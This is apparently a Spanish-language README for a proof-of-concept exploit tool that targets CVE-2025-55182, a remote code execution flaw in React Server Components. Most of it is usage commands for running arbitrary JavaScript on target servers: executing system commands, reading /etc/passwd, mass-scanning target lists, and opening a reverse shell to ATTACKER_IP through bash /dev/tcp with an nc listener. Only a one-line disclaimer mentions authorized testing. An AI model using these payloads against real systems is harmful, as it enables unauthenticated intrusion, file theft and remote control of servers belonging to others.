
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
Escáner de Ejecución Remota de Código para Componentes del Servidor React (RSC)
| Rol | Nombre | Enlace |
|---|---|---|
| Investigación Original | Lachlan Davidson | github.com/lachlan2k |
Basado en el PoC original: React2Shell-CVE-2025-55182-original-poc
React2Shell es un escáner de seguridad integral para CVE-2025-55182, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) que afecta implementaciones de Componentes del Servidor React (RSC). Esta vulnerabilidad permite a atacantes no autenticados ejecutar código JavaScript arbitrario en el servidor a través de una deserialización insegura en el protocolo React Flight.
# Clonar el repositorio
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Instalar dependencias
pip install requests
# Ejecutar el escáner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
Detecta pasivamente versiones vulnerables de React y frameworks:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)Confirma activamente RCE usando múltiples técnicas y las 4 variantes de payload:
# Verificación básica (variación de digest)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Con verificación basada en tiempo
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# Con callback OOB (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Verificación completa con salida detallada
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)Ejecuta payloads JavaScript arbitrarios:
# Obtener versión de Node.js
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Ejecutar comando del sistema
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Leer archivo
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)Escanea múltiples URLs desde un archivo y muestra solo los objetivos vulnerables:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Detección de versión (modo predeterminado)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# Verificación RCE
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Escaneo por lotes de múltiples objetivos
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Salida detallada
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Verificación basada en tiempo + OOB
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Extraer información del servidor
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Ejecutar comando
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Iniciar listener
nc -lvnp 443
# Ejecutar reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
| Argumento | Descripción |
|---|
-t, --target | URL objetivo (ej. https://example.com) |
-f, --file | Archivo con lista de URLs (una por línea) para escaneo por lotes |
-m, --mode | Modo de escaneo: version (predeterminado), verify o custom |
--js | Código JavaScript para el modo custom |
--extract | Extraer resultado de cadena carácter por carácter |
--sleep SECONDS | Verificación RCE basada en tiempo (modo verify) |
--callback URL | URL de callback HTTP para pruebas OOB (modo verify) |
--dns DOMAIN | Dominio de callback DNS para pruebas OOB (modo verify) |
-v, --verbose | Salida detallada con detalles del payload |
--no-color | Deshabilitar salida coloreada |
--timeout SECONDS | Tiempo de espera de solicitud HTTP (predeterminado: 30) |